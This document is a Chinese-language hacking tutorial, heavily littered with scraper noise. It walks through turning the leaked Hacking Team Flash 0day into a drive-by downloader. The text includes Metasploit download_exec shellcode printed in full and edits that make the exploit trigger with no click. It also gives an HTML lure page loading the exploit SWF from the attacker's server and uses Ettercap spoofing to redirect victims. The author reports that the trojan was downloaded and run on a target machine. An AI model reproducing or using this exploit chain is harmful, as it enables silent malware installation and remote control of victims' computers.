1 A7 ?" D# y% ] e% O
三、flash 0day之手工代码修改制作下载者实例入侵演示
* a7 I1 z F! \2 u & p8 x) ?9 N# ]
4 c5 i3 X6 ~9 l7 J8 B$ Q( B 利用到的工具: ; J: ~2 O# V# T2 Z/ D- W$ [& J
) p) k5 j5 }/ [( p
7 q# S( {' ?. Z/ W4 u9 { Msf 4 M; i5 S6 a' g- D/ C/ k
: U- S$ @6 R. M" e. _7 K7 ^$ e. x6 j5 g
Ettercap
% F# `! B; r) b% n: Z# a9 @
% l- c& U" G. m2 [0 H5 r
2 @! |( }0 {7 b6 |, U/ W# W; ?# j Adobe Flash CS6
8 v. T8 X9 c& c! j/ K! P . t) F' [, X. u& o: e+ \
- t: z9 q2 j i& f# e' R9 ^; } Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 . A6 O6 R& ~9 `; w3 T
2 E+ J S4 U& a1 k+ [: ^6 h; c# S5 ]1 q
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options
* Y; l2 f- M I , P+ |4 i) d/ ^8 B8 k
7 v D8 n8 F9 C6 a* U" f0 d 如图:
! J6 ~& ? l5 j3 C3 W / L K+ ^; z7 X# {6 _5 J9 w$ h& s
) ]- H3 e: X+ P0 J8 T0 `2 ]3 Q 2 B3 J( f% O- T& f% l S. X8 S
: u' Q$ [- m1 q- D
) R1 R/ M$ r: k$ i8 M) `! r+ j
: U" T) W7 L. |% |+ Z % o8 {1 f- Q' I% @% S
; d% c7 l6 \1 f/ E5 j. b- k% x5 m
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
: u- d' K* y. b) `' L ) N n; n5 y) t# |, w% `& f
! g6 q, E+ p" W; H) _" O
* K+ c2 v$ l2 K. ~6 o3 ]
# |' E8 G! S5 ^7 j+ ]9 P% i% l8 {" l2 A2 `
) M2 K$ g( A# P7 ^3 @- N
% [( x7 v" m4 E* |' G: n( t0 H2 w
- p6 h% U! w. V* ]4 {' M: D 然后执行generate -t dword生成shellcode,如下: K5 g$ f: W7 y0 S8 `( q
9 q) ]5 e9 e: Y1 P" h! b
3 W4 G) m; r& H7 V z
4 n# R7 G% J- y8 |
+ B' q& o3 P8 t0 y( ~5 y. x n* |. B2 F; Y0 @) k8 }$ z
复制代码到文本下便于我们一会编辑flash exp,如下: * F$ Z5 v; w$ F6 k9 l8 O
* ?5 P) S! [8 N- q
1 J8 G! y$ R& h! O5 {$ y 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 6 [# M- D3 t. I% a
1 a g8 s6 T1 \7 A( T7 ]4 a
% V! H! z1 T5 h+ l, I0 R ], K 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
6 i/ L7 f4 u$ V# [; `
* `3 q; C7 u) N+ \- D2 T; P ^# j$ I3 r9 q0 [! x
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 6 t/ I7 a. J% W9 w2 W/ a. K& k: D# B
$ v. [% `: {: q- e' P, M
6 H3 O' h1 D' p3 h- a
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489,
# x- ]& c5 v9 D
+ z% k2 j3 B' P
; B2 h( _6 L- @ 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, " D4 I: A; R2 c' f# {# V( o/ S5 z
/ h! U# g, D; K+ C9 m% X! t& T5 ?
5 z0 D8 w2 ~) B8 k2 V1 c" x- a) z 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, , v8 m# @$ \$ S6 a! V
+ L4 u: V3 [1 t% _7 {
3 I7 s, ?# W' \! z% W9 x7 i 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ' F/ t6 A& d4 `4 d8 P. g7 e
8 @! o" ^& M8 O( J6 S: T+ q3 }: }' B' F, S
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757,
* `2 g5 u6 \& e5 L: [3 z . K. l, y0 b7 j% J" G; `, I+ |
; M9 D+ }. r x) ~) B# M; N
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
- L0 j- v. x' F$ }) I
1 e5 [# {# o) o- I4 S* |. U
- u* E: ~6 B! s5 J6 a' g9 Q: C 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
7 O8 c0 d" N) w( N: p+ s H3 m ! O. @9 \2 Y# ~% Z: a7 h6 m
2 l2 u& ^" H7 ~ g, h" U; ^
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5,
" N- V0 V( i* x* b9 h- x9 N
% u3 V/ P$ p: g' b! Z' f1 X) \
& {4 n, k' Y2 t0 s, K7 N 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, 2 `! a( ]5 a7 U5 V2 V
0 O$ N! @/ X$ L9 t- j
! |# Q( x4 ~( c& l: t 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, . b9 x7 R0 ^; v1 k5 P, C x0 ]% f8 t
* A' g8 h8 n$ M
' ?1 o8 S3 g+ J; l9 I" Z 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 1 _3 F K8 \. F4 T- l
6 V- L& F3 V0 C) G4 @0 [8 t0 ^' Z' C$ A7 E' J3 f. ^
5 d& a; _+ k6 _8 _' ?' \
/ ` G: k# ^) f1 a
6 U8 [! r9 x$ m ' `" C. w/ [0 F0 t# q2 j# B
0 ?# @* I& {8 C( h, d( e
2 L4 U6 @0 J$ P% o+ u, l& R0 g7 i 下面我们来修改flash 0day exp,需要修改三个文件,分别为: # @* [, G X& G
, N: v3 d4 K' H! _% W% o9 a! g) C5 }1 Z; x3 G h7 ?1 ~7 i6 Q6 R
' Q/ Z* ~7 |' J$ Q0 }; G O
, Z6 z0 |# t0 h% P& h- H! I5 }8 X; a! @; ]
先修改ShellWin32.as,部分源代码如图:
; j4 L" W1 m, C5 [6 R " L3 O# I* h6 I7 z. F) c, ]. ^
- }8 h' l# e3 O. B1 t: Z6 l
$ B) y" ^# D2 \/ S5 | 7 D/ ^7 V' _+ U" h# _ d9 A
* ^- {2 n, N8 k' E2 g6 e: U 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: : F" K6 H8 @- x7 |8 Y6 ?+ Z
% g0 z: f; {$ U
! _4 i& F. K4 l% S" u
: n( m9 G+ h. M! C! Y; ^
- Y+ D0 {' H3 ?, U; p2 o) v9 X( W/ v5 x# j q' O% p) f1 L+ g# ^
然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: + f. N: K, m- ~6 J# w
/ ?4 P$ h& G' G$ E4 E$ O: O* x4 N* l+ s% `* u# O* o+ U
/ J5 g8 k. T/ D' G & w- c9 t, L2 o. ~% E# s
! ^/ b1 t- x0 T) E/ R 换行在后面加一句TryExpl();注意是l不是数字1,然后如图:
. J' |0 J; d: T% n, n" h% H
; r- C1 \7 n; X+ ~- ^1 F- x
# w6 I/ ^! o$ A- Y ' o# t; j9 V! V4 X: B) i
+ p7 {& O, X5 J' }1 G9 m
: b8 d4 R+ k. N8 C* r, D3 t. K% P
: E; O2 e2 N( Q) i 0 |9 M: C1 v2 S& d/ t9 _% x; z( t
& `9 M$ `7 r% r: V8 c5 T; J; q . s8 S& b3 T7 T1 [
/ Y% W# `% c5 j p
! h& |: w0 s) ~+ ~
然后点保存,下面我们来编译一下,打开
l9 f; o( F7 d % H+ t: ]6 p* v# p. A! Z0 p
5 n' m* \% V( F( c [! O5 g3 V! K
exp1.fla然后点文件-发布,看看编译没错误 ( X$ h$ ^( [+ `- k
$ I; N/ p1 U. t/ a
% Z0 [$ h. l+ i; |/ O* r
# [0 N; R- @) M' w3 h
4 R# E- Z+ }! ~& D: |# E& { e$ N; n' a+ r, r' \) U
' h6 D. c: M+ x" F0 n t9 Q
2 U0 p, `6 L. W
7 c+ z$ Y4 J: l) @7 H9 v" |/ M
, w" Z6 Q) ~+ N) ], I, ^
4 M N& {2 o$ g- z
' I; J# Z1 o0 j- D( B$ j! x
1 }3 {. k$ l4 l" [ 7 q( g0 o/ O! C. ]3 ~2 Y0 U
6 v" M; h8 |. a! U# f 然后我们把生成的 5 a: Y: o* J9 z1 a3 Y3 M1 L2 w V
8 F0 B% U& S+ G# d( R4 Y) x
D L/ s* ]8 e3 S2 `- Y1 I
exp1.swf丢到kailinux 的/var/www/html下: 0 @, z4 E4 M9 x, Z4 J) f) G; m
3 D; v5 ~* P# n, n& m
- V; P! m I1 q' j0 q
然后把这段代码好好编辑一下
$ n, n3 z+ X+ X8 G9 z$ U' P4 g
$ C# K% }$ ]; t3 D5 Z( ?: r
' o) ~" H" z/ @6 w' l 5 N$ h! e6 l5 _$ @
: g& z: O6 Q' k" U2 v) l
3 r, _( }6 X8 S# K- f d/ E2 Z' N) O
& h0 U5 ^) ^, e% D
! B$ {1 j# Q$ \" }, [9 Z1 V; V3 i3 {! g( }
7 R: A. t4 t6 }% O# b% G
3 @6 j7 p& Y& P* V% W' i2 u% S, o# K6 A$ c; | W) {
6 S, h% E8 P6 I$ y$ x
/ P7 P5 v+ q8 L5 W, k& Z6 T
1 ~7 t& W5 l8 n! ]2 q1 S( d ) Q$ V* H' P& P- f
2 }. ^, c+ i0 j. u3 n
* O l0 @* p" @- c) l1 D& M p; E5 ^8 G6 K6 ?: D8 X/ a+ k. p
4 p+ u2 ^8 @8 X3 ]& D
* e) ?- f' g" t' ^; P <!DOCTYPE html>
) Z, e' K. k6 Y7 ^0 T7 q0 I8 @ / h1 t6 c8 `' w# E) R
% u3 `5 Q# s9 C
<html> 8 q" e3 n; k% e" x$ E9 g0 G
' ^5 e8 b5 O* {) s ]% e1 T0 t5 W9 k$ ?7 y$ \4 }3 g& w i6 z* ]
<head>
7 V: {6 ]. j/ [) L % B+ T4 I6 [+ J- p6 l
6 Y' n2 w& H+ o" I$ ^) `9 i" A <meta http-equiv="Content-Type" content="text/html; 5 c( M6 _5 y9 ~% Y1 o, e1 U
0 W( @1 ?/ x0 @
7 A: D7 I9 v. p+ K( o charset=utf-8"/>
; o! ~) \) U% B9 m; S7 N+ N' ?, x * U% U. C6 j( R: a* U
) F9 n$ r# g+ o s" j% b! o" Z
</head>
1 b, y4 w$ t4 ~, w p
i8 ]3 T- A+ G$ T$ W
5 C6 O' \# g- W <body>
* J5 N! B, _2 y. p; ~! X
# a- n2 u) q, g5 e5 j9 u, l" F, ~* F% H, e' I
<h2> Please wait, the requested page is loading...</h2> # U3 f2 r/ \5 ^% M
4 G. g" J' J, G" l
$ H5 c5 w4 o) Z5 B
<br> 1 Z* Z5 ^8 s; R, y
; B S1 P6 ?" x
: r" b2 t1 J8 N$ z* x
<OBJECT 7 P+ h' V! x7 j: y" i# f5 ]
( V; @$ s+ K; x' q9 Z5 X) S7 {7 k0 F/ M: G, \% T
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie
4 o0 w2 a% L% v% d: i: p6 ?- j
5 Y, r+ t/ B( I0 c! n- [+ p! V) X9 L6 b4 p |2 q/ J
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
1 t3 S2 e* E0 Y5 ]$ Q1 w) t" e . S( a1 I: `7 e) a$ R
+ K8 V: L; \/ D" |) [& N
</body>
" `0 K, T: a; a5 F+ V * |' S* e: ? k0 m5 K! }8 y: m
6 C& p/ N" Q" V- \6 \ <script>
! v0 G% F0 L! g; [ * g3 n. X6 h% Q% s5 F
1 H4 O1 f9 H; ^8 v, b, E( ?
setTimeout(function () {
( a$ I5 M% L# L9 B2 R& c ; z* n1 S9 p- t" P8 J) b
$ r1 `% W$ ?( s# C7 _! @
3 \$ O" Z+ U+ F7 f5 O8 R* {
" m: j- @8 K( k; e* `( c4 q" L& x+ T u" E9 T( l
window.location.reload();
* w9 o g: N# C
! c" J' d& `. c& h. w! J
; T" C Y) k! A9 W9 |5 B }, 10000); ; H/ p* f# @" v" W0 F
( K/ f' m6 V$ y9 ]' F% O# X6 ?8 @1 h, p+ x: d& M# y
5 v4 |1 M* @) [: l+ f' f) b1 Z- ~ S
5 b& ]4 g! |3 a0 M$ j9 L
/ U( u9 D" f- d3 L, H- f
</script> % F3 d2 Q% e/ I4 S8 N
* k( O2 J; J& t& h7 S8 K( W
/ z' H3 K4 \. f4 H </html>
; l0 z) z) ]$ i/ `& ]1 B! X$ x
7 k, R3 H0 d( R; @! Y4 p) Z" C+ y7 d5 A5 x
o( w; y% Z( |. e5 d b
- F$ T3 z/ N9 o
. H3 Z( s( M8 i3 f9 d1 }5 } 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
6 j, p1 X* D/ ~$ c/ g
* _& r" C- f) [
8 T# F) p0 K# }1 a \) d ) [* z. B+ G# Y# c
+ t. p0 x; V8 L6 ^4 V. [
) ?, r" _* ~) D4 V6 }0 _/ |5 E
1 _1 |" P# r {: l% @, q
) Q; t2 s9 c6 s# T
& u) \8 i0 B$ d# k/ @
( d0 p# d" j6 E8 {9 Q9 g9 m
& M' S% i. l+ B& \* J. C9 X* v( _7 W- l6 P" q
( _* c0 x# F# f
2 f% D0 E Z9 P, k
4 J H$ V' A# P8 H0 \
& H. H5 B( j k! n: O- n
, l1 W- M8 n7 X c1 M5 Z2 `
; _ h- K7 D9 i3 Q2 ?- n" l 下面我们用ettercap欺骗如图: $ h) _9 k( `5 R/ z
* r/ _4 ]5 N# `
( w4 h7 M; V2 M1 w0 `2 d* ^* B
O9 g) `! q* K
$ H7 `+ L$ ^! Y* Q: ]! T: q) G4 }6 n s C& l: Q
$ [& a+ v6 D4 i a: I; Q
. G! D) O7 v4 h/ T
+ b; \, s( P6 U3 H9 e; M- m 下面我们随便访问个网站看看: # ^8 ~9 B0 h5 R& C
C% ?3 y' R4 N. w0 t; t
4 w5 D/ ~# q' C# z
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: % R9 n( m& e H' I% k, U5 O# y
- [5 i5 @" J8 B/ y+ I1 m/ ]& K# Y* i" b2 \0 z, X
6 V0 m: g- F: s9 D4 R / ?+ O w6 {& ^- D' \+ g7 Q* ^
& I8 a. h" ]9 j/ }. P ] 我们看另一台, ; j: ?+ {: n% {% E/ k6 g" E
! x2 p+ A' J6 T, c7 j$ t7 B/ u/ l: S+ ?! y4 ?( r1 @, v$ y
提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。 ' b/ f8 g# d7 U; q2 n l6 N) e5 i
|